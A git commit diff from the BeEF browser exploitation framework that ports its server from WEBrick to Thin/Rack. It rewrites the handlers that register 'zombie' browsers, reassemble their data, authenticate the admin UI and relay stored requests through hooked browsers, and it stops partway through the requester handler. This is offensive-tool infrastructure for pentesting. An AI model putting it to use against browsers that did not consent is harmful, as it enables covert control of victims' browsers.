rewrote the server core and adjusted the API/classes to use Thin and Rack instead of WebRick.

This commit is contained in:
antisnatchor
2011-11-19 15:49:19 +01:00
parent 1e32734565
commit 2997540918
25 changed files with 356 additions and 395 deletions

View File

@@ -33,20 +33,18 @@ module Server
# Mounts a handler
# @param [String] url URL to be mounted
# @param [Boolean] hard whether or not it is a hard mount
# @param [Class] http_handler_class the handler Class
# @param [Array] args an array of arguments
# @note This is a direct API call and does not have to be registered to be used
def self.mount(url, hard, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, hard, http_handler_class, *args)
def self.mount(url, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
end
# Unmounts a handler
# @param [String] url URL to be unmounted
# @param [Boolean] hard whether or not it is a hard mount
# @note This is a direct API call and does not have to be registered to be used
def self.unmount(url, hard)
BeEF::Core::Server.instance.unmount(url, hard)
def self.unmount(url)
BeEF::Core::Server.instance.unmount(url)
end

View File

@@ -16,7 +16,7 @@
# @note Include here all the gems we are using
require 'rubygems'
require 'webrick'
require 'webrick/httpproxy'
require 'thin'
require 'dm-core'
require 'dm-migrations'
require 'json'

View File

@@ -23,7 +23,7 @@ beef.updater = {
// Low timeouts combined with the way the framework sends commamd modules result
// in instructions being sent repeatedly or complex code.
// If you suffer from ADHD, you can decrease this setting.
timeout: 10000,
timeout: 1000,
// A lock.
lock: false,
@@ -62,7 +62,7 @@ beef.updater = {
get_commands: function(http_response) {
try {
this.lock = true;
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 10, 'script', function(response) {
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) {
if (response.body != null && response.body.length > 0)
beef.updater.execute_commands();
});

View File

@@ -116,8 +116,8 @@ module Core
# Sets the datastore for the callback function. This function is meant to be called by the CommandHandler
# @param [Hash] http_params HTTP parameters
# @param [Hash] http_header HTTP headers
def build_callback_datastore(http_params, http_header)
# @param [Hash] http_headers HTTP headers
def build_callback_datastore(http_params, http_headers)
@datastore = {'http_headers' => {}} # init the datastore
# get, check and add the http_params to the datastore
@@ -129,9 +129,9 @@ module Core
}
# get, check and add the http_headers to the datastore
http_header.keys.each { |http_header_key|
http_headers.keys.each { |http_header_key|
raise WEBrick::HTTPStatus::BadRequest, "http_header_key is invalid" if not BeEF::Filters.is_valid_command_module_datastore_key?(http_header_key)
http_header_value = Erubis::XmlHelper.escape_xml(http_header[http_header_key][0])
http_header_value = Erubis::XmlHelper.escape_xml(http_headers[http_header_key][0])
raise WEBrick::HTTPStatus::BadRequest, "http_header_value is invalid" if not BeEF::Filters.is_valid_command_module_datastore_param?(http_header_value)
@datastore['http_headers'][http_header_key] = http_header_value # add the checked key and value to the datastore
}

View File

@@ -38,9 +38,12 @@ module Handlers
# Initial setup function, creates the command module and saves details to datastore
def setup()
@http_params = @data['request'].query
@http_header = @data['request'].header
@http_header['referer'] ||= ''
@http_params = @data['request'].params
@http_header = Hash.new
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
.each {|key,value|
@http_header[key.sub(/^HTTP_/, '')] = value
}
# @note get and check command id from the request
command_id = get_param(@data, 'cid')

View File

@@ -17,40 +17,36 @@ module BeEF
module Core
module Handlers
# @note This class handles connections from hooked browsers to the framework.
class HookedBrowsers < WEBrick::HTTPServlet::AbstractServlet
# @note This class handles connections from hooked browsers to the framework.
class HookedBrowsers
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::Command
attr_reader :guard
def initialize(config)
@guard = Mutex.new
end
# This method processes the http requests sent by a hooked browser to the framework. It will update the database to add or update the current zombie and deploy some command modules or plugins.
# @param [Hash] request HTTP request object
# @param [Hash] response HTTP response object
# @todo Confirm return type of this function
def do_GET(request, response)
# Process HTTP requests sent by a hooked browser to the framework.
# It will update the database to add or update the current hooked browser
# and deploy some command modules or extensions to the hooked browser.
def call(env)
@body = ''
@params = request.query
@request = request
@response = response
@request = Rack::Request.new(env)
@params = @request.query_string
@response = Rack::Response.new(body=[], 200, header={})
config = BeEF::Core::Configuration.instance
# @note check source ip address of browser
permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
target_network = IPAddr.new(permitted_hooking_subnet)
if not target_network.include?(request.peeraddr[3].to_s)
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.")
@response.set_error(nil)
if not target_network.include?(@request.ip)
BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{@request.ip}) rejected.")
@response = Rack::Response.new(body=[], 500, header={})
return
end
# @note get zombie if already hooked the framework
hook_session_id = request.get_hook_session_id()
hook_session_name = config.get('beef.http.hook_session_name')
hook_session_id = @request[hook_session_name]
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) if not hook_session_id.nil?
# @note is a new browser so return instructions to set up the hook
@@ -67,9 +63,9 @@ module Handlers
hooked_browser.lastseen = Time.new.to_i
# @note Check for a change in zombie IP and log an event
if hooked_browser.ip != @request.peeraddr[3].to_s
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{@request.peeraddr[3].to_s}","#{hooked_browser.id}")
hooked_browser.ip = @request.peeraddr[3].to_s
if hooked_browser.ip != @request.ip
BeEF::Core::Logger.instance.register('Zombie',"IP address has changed from #{hooked_browser.ip} to #{@request.ip}","#{hooked_browser.id}")
hooked_browser.ip = @request.ip
end
hooked_browser.count!
@@ -84,17 +80,21 @@ module Handlers
end
# @note set response headers and body
response.set_no_cache
response.header['Content-Type'] = 'text/javascript'
response.header['Access-Control-Allow-Origin'] = '*'
response.header['Access-Control-Allow-Methods'] = 'POST, GET'
response.body = @body
@response = Rack::Response.new(
body = [@body],
status = 200,
header = {
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST, GET'
}
)
end
# @note alias do_POST function to do_GET
alias do_POST do_GET
private
# @note Object representing the HTTP request

View File

@@ -23,7 +23,7 @@ module NetworkStack
# @param [Object] server HTTP server instance
def self.mount_handler(server)
# @note this mounts the dynamic handler
server.mount('/dh', true, BeEF::Core::NetworkStack::Handlers::DynamicReconstruction)
server.mount('/dh', BeEF::Core::NetworkStack::Handlers::DynamicReconstruction.new)
end
end

View File

@@ -41,18 +41,21 @@ module Handlers
# @return [String] URL Path of mounted asset
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
def bind(file, path=nil, extension=nil, count=-1)
url = buildURL(path, extension)
url = build_url(path, extension)
@allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count}
@http_server.mount(url, true, WEBrick::HTTPServlet::FileHandler, @allocations[url]['file'])
@http_server.mount(url, Rack::File.new(@allocations[url]['file']))
@http_server.remap
print_info "File [" + "#{root_dir}"+file + "] bound to url [" + url + "]"
return url
url
end
# Unbinds a file from a mount point
# @param [String] url URL path of asset to be unbinded
#TODO: check why is throwing exception
def unbind(url)
@allocations.delete(url)
@http_server.unmount(url, true)
@http_server.unmount(url)
@http_server.remap
end
# Builds a URL based on the path and extension, if neither are passed a random URL will be generated
@@ -60,10 +63,10 @@ module Handlers
# @param [String] extension Extension defined by bind()
# @param [Integer] length The amount of characters to be used when generating a random URL
# @return [String] Generated URL
def buildURL(path, extension, length=20)
url = (path == nil) ? '/'+rand(36**length).to_s(36) : path;
url += (extension == nil) ? '' : '.'+extension;
return url
def build_url(path, extension, length=20)
url = (path == nil) ? '/'+rand(36**length).to_s(36) : path
url += (extension == nil) ? '' : '.'+extension
url
end
# Checks if the file is allocated, if the file isn't return true to pass onto FileHandler.
@@ -84,7 +87,7 @@ module Handlers
return true
end
end
return false
false
end
private

View File

@@ -18,10 +18,8 @@ module Core
module NetworkStack
module Handlers
# @note DynamicHanlder is used reconstruct segmented traffic from the hooked browser
class DynamicReconstruction < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
# @note DynamicHandler is used reconstruct segmented traffic from the hooked browser
class DynamicReconstruction
# @note holds packet queue
PQ = Array.new()
@@ -29,28 +27,32 @@ module Handlers
# @note obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::Core::Server.instance.mounts
# Combines packet information and pushes to PQ, then checks packets
# @param [Object] request Request object
# @param [Object] response Response object
def do_POST(request, response)
@request = request
response.set_no_cache
response.header['Content-Type'] = 'text/javascript'
response.header['Access-Control-Allow-Origin'] = '*'
response.header['Access-Control-Allow-Methods'] = 'POST'
response.body = ''
# Combines packet information and pushes to PQ (packet queue), then checks packets
def call(env)
@request = Rack::Request.new(env)
response = Rack::Response.new(
body = [],
status = 200,
header = {
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Content-Type' => 'text/javascript',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST'
}
)
PQ << {
:beefhook => get_param(@request.query, 'bh'),
:stream_id => Integer(get_param(@request.query, 'sid')),
:packet_id => Integer(get_param(@request.query, 'pid')),
:packet_count => Integer(get_param(@request.query, 'pc')),
:data => get_param(@request.query, 'd')
:beefhook => @request['bh'],
:stream_id => Integer(@request['sid']),
:packet_id => Integer(@request['pid']),
:packet_count => Integer(@request['pc']),
:data => @request['d']
}
check_packets()
response
end
# @note Alias do_GET function to do_POST
alias do_GET do_POST
# Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
@@ -79,7 +81,7 @@ module Handlers
res = JSON.parse(b64).first
res['beefhook'] = packet[:beefhook]
res['request'] = @request
res['beefsession'] = @request.get_hook_session_id()
res['beefsession'] = @request[BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')]
execute(res)
rescue JSON::ParserError => e
print_debug 'Network stack could not decode packet stream.'
@@ -96,7 +98,7 @@ module Handlers
def expunge(beefhook, stream_id)
packets = PQ.select{ |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
return packets.sort_by { |p| p[:packet_id] }
packets.sort_by { |p| p[:packet_id] }
end
# Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler

View File

@@ -15,120 +15,49 @@
#
module BeEF
module Core
module Core
class Server
class Server
include Singleton
# @note Grabs the version of beef the framework is deployed on
VERSION = BeEF::Core::Configuration.instance.get('beef.version')
include Singleton
attr_reader :root_dir, :url, :configuration, :command_urls, :mounts
# Constructor starts the BeEF server including the configuration system
def initialize
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
@url = "http://#{beef_host}:#{@configuration.get("beef.http.port")}"
@root_dir = File.expand_path('../../../', __FILE__)
@command_urls = {}
@mounts = {}
end
# Returns all server variables in a hash. Useful for Erubis when generating the javascript for the command modules and hooking.
# @return [Hash] BeEF info hash
def to_h
{
'beef_version' => VERSION,
'beef_url' => @url,
'beef_root_dir' => @root_dir,
'beef_host' => BeEF::Core::Configuration.instance.get('beef.http.host'),
'beef_port' => BeEF::Core::Configuration.instance.get('beef.http.port'),
'beef_dns' => BeEF::Core::Configuration.instance.get('beef.http.dns'),
'beef_hook' => BeEF::Core::Configuration.instance.get('beef.http.hook_file')
}
end
# Returns command URL
# @param [String] command_path Command path
# @return [String] URL of command
# @todo Unsure how @command_urls is populated, this command is possibly deprecated
# @deprecated See note
def get_command_url(command_path)
# argument type checking
raise Exception::TypeError, '"command_path" needs to be a string' if not command_path.string?
if not @command_urls[command_path].nil?
return @command_urls[command_path]
else
return command_path
# @note Grabs the version of beef the framework is deployed on
VERSION = BeEF::Core::Configuration.instance.get('beef.version')
attr_reader :root_dir, :url, :configuration, :command_urls, :mounts, :semaphore
def initialize
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
@url = "http://#{beef_host}:#{@configuration.get("beef.http.port")}"
@root_dir = File.expand_path('../../../', __FILE__)
@command_urls = {}
@mounts = {}
@rack_app
@semaphore = Mutex.new
end
end
# Starts the BeEF http server.
def prepare
if not @http_server
config = {}
config[:BindAddress] = @configuration.get('beef.http.host')
config[:Port] = @configuration.get('beef.http.port')
config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)
config[:ServerName] = "BeEF " + VERSION
config[:ServerSoftware] = "BeEF " + VERSION
@http_server = WEBrick::HTTPServer.new(config)
# Create http handler for the javascript hook file
mount("#{@configuration.get("beef.http.hook_file")}", true, BeEF::Core::Handlers::HookedBrowsers)
# We dynamically get the list of all http handler using the API and register them
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self)
def to_h
{
'beef_version' => VERSION,
'beef_url' => @url,
'beef_root_dir' => @root_dir,
'beef_host' => @configuration.get('beef.http.host'),
'beef_port' => @configuration.get('beef.http.port'),
'beef_dns' => @configuration.get('beef.http.dns'),
'beef_hook' => @configuration.get('beef.http.hook_file')
}
end
end
# Starts the BeEF http server
def start
# we trap CTRL+C in the console and kill the server
trap("INT") { BeEF::Core::Server.instance.stop }
# starts the web server
@http_server.start
end
# Stops the BeEF http server.
def stop
if @http_server
# shuts down the server
@http_server.shutdown
# print goodbye message
puts
print_info 'BeEF server stopped'
end
end
# Restarts the BeEF http server.
def restart; stop; start; end
# Mounts a handler, can either be a hard or soft mount
# @param [String] url The url to mount
# @param [Boolean] hard Set to true for a hard mount, false for a soft mount.
# @param [Class] http_handler_class Class to call once mount is triggered
# @param args Arguments to pass to the http handler class
def mount(url, hard, http_handler_class, args = nil)
# argument type checking
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
raise Exception::TypeError, '"hard" needs to be a boolean' if not hard.boolean?
raise Exception::TypeError, '"http_handler_class" needs to be a boolean' if not http_handler_class.class?
if hard
if args == nil
@http_server.mount url, http_handler_class
else
@http_server.mount url, http_handler_class, *args
end
print_debug("Server: mounted handler '#{url}'")
else
# Mounts a handler, can either be a hard or soft mount
# @param [String] url The url to mount
# @param [Class] http_handler_class Class to call once mount is triggered
# @param args Arguments to pass to the http handler class
def mount(url, http_handler_class, args = nil)
# argument type checking
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
# raise Exception::TypeError, '"http_handler_class" needs to be a boolean' if not http_handler_class.class?
if args == nil
mounts[url] = http_handler_class
else
@@ -136,27 +65,68 @@ module Core
end
print_debug("Server: mounted handler '#{url}'")
end
end
# Unmounts handler
# @param [String] url URL to unmount.
# @param [Boolean] hard Set to true for a hard mount, false for a soft mount.
def unmount(url, hard)
# argument type checking
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
raise Exception::TypeError, '"hard" needs to be a boolean' if not hard.boolean?
if hard
@http_server.umount(url)
else
mounts.delete(url)
# Unmounts handler
# @param [String] url URL to unmount.
def unmount(url)
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
@mounts.delete(url)
end
# Reload the URL map (used by the NetworkStack AssetHandler to mount new URLs at runtime)
def remap
@rack_app.remap(@mounts)
end
#Prepare the BeEF http server.
def prepare
# Create http handler for the javascript hook file
self.mount("#{@configuration.get("beef.http.hook_file")}", BeEF::Core::Handlers::HookedBrowsers.new)
# Dynamically get the list of all the http handlers using the API and register them
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self)
# Rack mount points
@rack_app = Rack::URLMap.new(@mounts)
if not @http_server
if @configuration.get('beef.debug') == true
# Thin::Logging.debug = true
end
@http_server = Thin::Server.new(
@configuration.get('beef.http.host'),
@configuration.get('beef.http.port'),
@rack_app)
end
end
# Starts the BeEF http server
def start
# we trap CTRL+C in the console and kill the server
trap("INT") { BeEF::Core::Server.instance.stop }
# starts the web server
@http_server.start
end
# Stops the BeEF http server.
def stop
if @http_server
# shuts down the server
@http_server.stop
trap("INT") { BeEF::Core::Server.instance.stop }
# print goodbye message
puts
print_info 'BeEF server stopped'
end
end
# Restarts the BeEF http server.
def restart
stop
start
end
end
private
@http_server
end
end
end

View File

@@ -66,8 +66,6 @@ module Module
class_symbol = BeEF::Core::Command.const_get(class_name)
if class_symbol and class_symbol.respond_to?(:options)
return class_symbol.options
else
print_debug "Module '#{mod}', no options method defined"
end
end
return []
@@ -126,7 +124,7 @@ module Module
require config.get("beef.module.#{mod}.path")+'module.rb'
if self.exists?(config.get("beef.module.#{mod}.class"))
# start server mount point
BeEF::Core::Server.instance.mount("/command/#{mod}.js", false, BeEF::Core::Handlers::Commands, mod)
BeEF::Core::Server.instance.mount("/command/#{mod}.js", BeEF::Core::Handlers::Commands, mod)
BeEF::Core::Configuration.instance.set("beef.module.#{mod}.mount", "/command/#{mod}.js")
BeEF::Core::Configuration.instance.set('beef.module.'+mod+'.loaded', true)
print_debug "Hard Load module: '#{mod.to_s}'"

View File

@@ -36,15 +36,16 @@ module API
Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each { |http_module|
require http_module
mod_name = File.basename http_module, '.rb'
beef_server.mount("/ui/#{mod_name}", true, BeEF::Extension::AdminUI::Handlers::UI, mod_name)
beef_server.mount("/ui/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
}
# mount the folder were we store static files (javascript, css, images) for the admin ui
media_dir = File.dirname(__FILE__)+'/../media/'
beef_server.mount('/ui/media', true, BeEF::Extension::AdminUI::Handlers::MediaHandler, media_dir)
beef_server.mount('/ui/media', Rack::File.new(media_dir))
# mount the favicon file
beef_server.mount('/favicon.ico', true, WEBrick::HTTPServlet::FileHandler, "#{media_dir}#{configuration.get("beef.extension.admin_ui.favicon_dir")}/#{configuration.get("beef.extension.admin_ui.favicon_file_name")}")
beef_server.mount('/favicon.ico', Rack::File.new("#{media_dir}#{configuration.get("beef.extension.admin_ui.favicon_dir")}/#{configuration.get("beef.extension.admin_ui.favicon_file_name")}"))
end
end

View File

@@ -49,13 +49,15 @@ module AdminUI
#
def run(request, response)
@request = request
@params = request.query
@params = request.params
@session = BeEF::Extension::AdminUI::Session.instance
auth_url = '/ui/authentication'
# test if session is unauth'd and whether the auth functionality is requested
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::Extension::AdminUI::Controllers::Authentication)
response.set_redirect(WEBrick::HTTPStatus::Found, auth_url)
@body = ''
@status = 302
@headers = {'Location' => auth_url}
return
end

View File

@@ -29,14 +29,14 @@ class Session
def initialize
set_logged_out
@auth_timestamp = Time.new
@id = BeEF::Core::Crypto::secure_token
@nonce = BeEF::Core::Crypto::secure_token
end
#
# set the session logged in
#
def set_logged_in(ip)
@id = BeEF::Core::Crypto::secure_token
@nonce = BeEF::Core::Crypto::secure_token
@ip = ip
end
@@ -85,10 +85,10 @@ class Session
# check if a valid session
return false if not valid_session?(request)
return false if @nonce.nil?
return false if not request.request_method.eql? "POST"
return false if not request.post?
# get nonce from request
request_nonce = request.query['nonce']
request_nonce = request['nonce']
return false if request_nonce.nil?
# verify nonce
@@ -106,17 +106,16 @@ class Session
return false if @ip.nil?
# check ip address matches
return false if not @ip.to_s.eql? request.peeraddr[3]
return false if not @ip.to_s.eql? request.ip
# get session cookie name from config
config = BeEF::Core::Configuration.instance
session_cookie_name = config.get('beef.http.session_cookie_name')
session_cookie_name = BeEF::Core::Configuration.instance.get('beef.http.session_cookie_name')
# check session id matches
request.cookies.each{|cookie|
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id)
return true if (cookie[0].to_s.eql? session_cookie_name) and (cookie[1].eql? @id)
}
request
# not a valid session
false

View File

@@ -52,12 +52,12 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
password = @params['password-cfrm'] || ''
config = BeEF::Core::Configuration.instance
@headers['Content-Type']='application/json; charset=UTF-8'
ua_ip = @request.peeraddr[3] # get client ip address
ua_ip = @request.ip # get client ip address
@body = '{ success : false }' # attempt to fail closed
# check if source IP address is permited to authenticate
if not permited_source?(ua_ip)
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.")
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.ip}) attempted to authenticate but is not within permitted subnet.")
return
end
@@ -70,7 +70,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
# check username and password
if not (username.eql? config.get('beef.extension.admin_ui.username') and password.eql? config.get('beef.extension.admin_ui.password') )
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.")
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
return
end
@@ -88,7 +88,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
# add session cookie to response header
@headers['Set-Cookie'] = session_cookie.to_s
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.")
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfuly authenticated in the application.")
@body = "{ success : true }"
end

View File

@@ -22,41 +22,42 @@ module Extension
module AdminUI
module Handlers
class UI < WEBrick::HTTPServlet::AbstractServlet
class UI
attr_reader :guard
#
# Constructor
#
def initialize(config, klass)
def initialize(klass)
super
@guard = Mutex.new
@klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize)
end
#
# Retrieves the request and forwards it to the controller
#
def do_GET(request, response)
@request = request
@response = response
def call(env)
@request = Rack::Request.new(env)
@response = Rack::Response.new(env)
controller = nil
controller = @klass.new
controller.run(@request, @response)
response.header.replace(controller.headers)
response.body = controller.body.to_s
@response = Rack::Response.new(
body = [controller.body],
status = controller.status,
header = controller.headers
)
end
private
@request
@response
alias do_POST do_GET
end
end

View File

@@ -24,13 +24,9 @@ module Demos
def self.mount_handler(beef_server)
# mount the handler to support the demos
dir = File.dirname(__FILE__)+'/html/'
beef_server.mount('/demos/', true, WEBrick::HTTPServlet::FileHandler, dir)
beef_server.mount('/demos/', Rack::File.new(dir))
end
end
end
end
end

View File

@@ -27,11 +27,9 @@ module Events
# like keystroke, mouse clicks and form submission.
#
def self.mount_handler(beef_server)
beef_server.mount('/event', false, BeEF::Extension::Events::Handler)
beef_server.mount('/event', BeEF::Extension::Events::Handler)
end
end
end
end
end

View File

@@ -27,7 +27,7 @@ module Initialization
# all the information about hooked browsers.
#
def self.mount_handler(beef_server)
beef_server.mount('/init', false, BeEF::Extension::Initialization::Handler)
beef_server.mount('/init', BeEF::Extension::Initialization::Handler)
end
end

View File

@@ -42,14 +42,14 @@ module Initialization
return if not hooked_browser.nil? # browser is already registered with framework
# create the structure representing the hooked browser
zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].peeraddr[3], :session => session_id)
zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].ip, :session => session_id)
zombie.firstseen = Time.new.to_i
# hostname
if not @data['results']['HostName'].nil? then
log_zombie_domain=@data['results']['HostName']
elsif (not @data['request'].header['referer'].nil?) and (not @data['request'].header['referer'].empty?)
log_zombie_domain=@data['request'].header['referer'][0].gsub('http://','').gsub('https://','').split('/')[0]
elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
log_zombie_domain=@data['request'].referer.gsub('http://','').gsub('https://','').split('/')[0]
else
log_zombie_domain="unknown" # Probably local file open
end
@@ -67,7 +67,11 @@ module Initialization
zombie.domain = log_zombie_domain
zombie.port = log_zombie_port
zombie.httpheaders = @data['request'].header.to_json
#TODO: find a way to do this
#zombie.httpheaders = @data['request'].header.to_json
zombie.httpheaders = 'temp headers'
zombie.save # the save needs to be conducted before any hooked browser specific logging
@@ -295,20 +299,21 @@ module Initialization
end
# Call autorun modules, this will be moved to core along with the Initialization extension
autorun = []
BeEF::Core::Configuration.instance.get('beef.module').each{|k,v|
if v.has_key?('autorun') and v['autorun'] == true
if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
BeEF::Module.execute(k, session_id)
autorun.push(k)
else
print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}"
end
end
}
if autorun.length > 0
print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}"
end
#TODO: re-enable it
# autorun = []
# BeEF::Core::Configuration.instance.get('beef.module').each{|k,v|
# if v.has_key?('autorun') and v['autorun'] == true
# if BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name}) == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
# BeEF::Module.execute(k, session_id)
# autorun.push(k)
# else
# print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser #{zombie.ip}"
# end
# end
# }
# if autorun.length > 0
# print_info "Autorun executed: #{autorun.join(', ')} against Hooked browser #{zombie.ip}"
# end
end
def get_param(query, key)

View File

@@ -24,7 +24,7 @@ module Requester
# We register the http handler for the requester.
# This http handler will retrieve the http responses for all requests
def self.mount_handler(beef_server)
beef_server.mount('/requester', false, BeEF::Extension::Requester::Handler)
beef_server.mount('/requester', BeEF::Extension::Requester::Handler)
end
end

View File

@@ -17,37 +17,28 @@ module BeEF
module Extension
module Requester
module API
#
# Module containing all the functions to run the Requester.
#
# That module is dependent on 'Common'. Hence to use it,
# your code also needs to include that module.
#
require 'uri'
class Hook
include BeEF::Core::Handlers::Modules::BeEFJS
#
# Runs the Requester
#
# If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
# and send them to the hooked browser.
def requester_run(hb, body)
@body = body
# we generate all the requests and output them to the hooked browser
# Generate all the requests and output them to the hooked browser
output = []
BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id, :has_ran => "waiting").each { |h|
output << self.requester_parse_db_request(h)
}
# stop here of our output in empty, that means there aren't any requests to send
return if output.empty?
#print_debug("[REQUESTER] Sending request(s): #{output.to_json}")
# build the beefjs requester component
# Build the BeEFJS requester component
build_missing_beefjs_components 'beef.net.requester'
# we send the command to perform the requests to the hooked browser
# Send the command to perform the requests to the hooked browser
@body << %Q{
beef.execute(function() {
beef.net.requester.send(
@@ -58,12 +49,13 @@ module BeEF
end
#
# Converts a HTTP DB Object into a BeEF JS command that
# can be executed by the hooked browser.
#
# Converts an HTTP db object into an Hash that follows the representation
# of input data for the beef.net.request Javascript API function.
# The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
# and finally sent to and executed by the hooked browser.
def requester_parse_db_request(http_db_object)
# We're overwriting the URI Parser UNRESERVED regex to prevent BAD URI errors when sending attack vectors (see tolerant_parser)
# We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors when sending attack vectors (see tolerant_parser)
tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars"))
req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
params = nil
@@ -72,9 +64,6 @@ module BeEF
s = StringIO.new http_db_object.request
req.parse(s)
rescue Exception => e
# if an exception is caught, we display it in the console but do not
# stong beef from executing. That is because we do not want to stop
# attacking the hooked browser because of a malformed request.
puts e.message
puts e.backtrace
return
@@ -107,13 +96,13 @@ module BeEF
}
else
#non-POST request (ex. GET): query parameters in URL need to be parsed and added to the URI
# creating the request object
query_params = tolerant_parser.split(uri)[7]
if not query_params.nil?
req_uri = tolerant_parser.parse(uri).path + "?" + query_params
else
req_uri = tolerant_parser.parse(uri).path
end
# creating the request object
http_request_object = {
'id' => http_db_object.id,
'method' => req.request_method,
@@ -124,14 +113,11 @@ module BeEF
'headers' => {}
}
end
print_debug("[PROXY] Forwarding request: host[#{req.host}], method[#{req.request_method}], path[#{tolerant_parser.parse(uri).path}], urlparams[#{query_params}], body[#{params}]")
req.header.keys.each { |key| http_request_object['headers'][key] = req.header[key] }
http_request_object
end
end
end
end
end

View File

@@ -14,79 +14,70 @@
# limitations under the License.
#
module BeEF
module Extension
module Requester
#
# The http handler that manages the Requester.
#
class Handler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
H = BeEF::Core::Models::Http
Z = BeEF::Core::Models::HookedBrowser
#
# Class constructor
#
def initialize(data)
# we set up a mutex
@guard = Mutex.new
@data = data
setup()
module Extension
module Requester
#
# The http handler that manages the Requester.
#
class Handler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
H = BeEF::Core::Models::Http
Z = BeEF::Core::Models::HookedBrowser
#
# Class constructor
#
def initialize(data)
# we set up a mutex
@guard = Mutex.new
@data = data
setup()
end
def setup()
# validates the hook token
beef_hook = @data['beefhook'] || nil
raise WEBrick::HTTPStatus::BadRequest, "beefhook is null" if beef_hook.nil?
# validates the request id
request_id = @data['cid'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Original request id (command id) is null" if request_id.nil?
# validates that a hooked browser with the beef_hook token exists in the db
zombie_db = Z.first(:session => beef_hook) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid beefhook id: the hooked browser cannot be found in the database" if zombie_db.nil?
# validates that we have such a http request saved in the db
http_db = H.first(:id => request_id.to_i, :hooked_browser_id => zombie_db.id) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil?
# validates that the http request has not be ran before
raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? "complete"
# validates the response code
response_code = @data['results']['response_status_code'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Http response code is null" if response_code.nil?
# save the results in the database
http_db.response_headers = @data['results']['response_headers']
http_db.response_status_code = @data['results']['response_status_code']
